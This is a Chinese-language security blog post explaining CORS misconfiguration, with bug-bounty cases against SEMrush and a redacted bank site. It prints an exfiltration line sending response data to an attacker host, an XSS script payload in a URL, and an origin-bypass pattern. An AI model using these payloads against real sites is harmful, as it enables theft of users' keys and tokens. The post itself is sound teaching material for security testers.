前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CORS配置不当—挖掘技巧及实战案例全汇总

CORS配置不当—挖掘技巧及实战案例全汇总

作者头像
Jayway
发布2019-09-29 17:58:50
6.6K4
发布2019-09-29 17:58:50
举报
文章被收录于专栏:卓文见识

1、概念

CORS,即跨源资源共享(Cross-Origin Resource Sharing)。同源策略(Same OriginPolicy)要求不同源之间是无法通信的,而CORS则是放宽同源策略以通过浏览器实现网站之间通信的机制。

通常系统通过配置HTTP响应头来允许发出跨域请求,如下Example1发送一个Origin头,Example2以一个Access Control Allow Origin头响应,然后Example1便可以对Example2的数据进行操作:

2、漏洞原理

CORS配置不当通常会导致的危害是用户敏感信息泄露,场景大多数是get请求方式返回的json形式的敏感信息(密钥、token,key等)。CORS配置不当属于响应头中的一种,其他还有X-Frame-Options、Content-Security-Policy等。漏洞利用成功的前提是,两个返回头必须为:Access-Control-Allow-Origin:https://evil.com

Access-Control-Allow-Credentials:true

3、实战案例

1) SEMrush CORS misconfig

访问semrush的一个api端点,插入Origin头为攻击者服务器:

返回信息主体是用户敏感信息,需注意的是返回的Access-Control-Allow-Origin是攻击者服务器,这意味着系统存在CORS配置错误。

下一步,构造HTML文件,诱使受害者点击:

点击后,界面将弹出受害者敏感信息:

修改一下reqListener()函数为

location='//atttacker.net/log?key='+this.responseText;将把敏感数据发到攻击者服务器。

2)redacted子域XSS+ CORSmisconfig

和上面的案例类似,只是Origin接受的是redacted和子域:Origin:evil.redacted.com,要利用这个漏洞,必须在子域中寻找一个xss漏洞,结合xss发起请求,最终在banques.redacted.com发现xss:

https://banques.redacted.com/choice-quiz?form_banque=“> <script> alert(document.domain)</script>&form_cartes= 73&iframestat= 1,将alert事件替换为CORS请求:

最终poc为:

成功获取到敏感数据:

4、挖掘及绕过

1)挖掘思路

查看是否存在get请求的json形式敏感信息,在请求头中添加任意Origin值,如https://evil.com,查看返回头是否返回:Access-Control-Allow-Origin:https://evil.com和Access-Control-Allow-Credentials:true,若返回,则构造poc.html进行跨域读取数据。

2)绕过手段

绕过通常使用如下poc:

http://www.target.local{.<your-domain>/cors-poc

绕过原理不做详解,可阅读原文下载pdf自行研究,只要利用姿势正确,任何漏洞都可能成为高危漏洞。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-08-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、概念
  • 2、漏洞原理
  • 3、实战案例
  • 4、挖掘及绕过
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档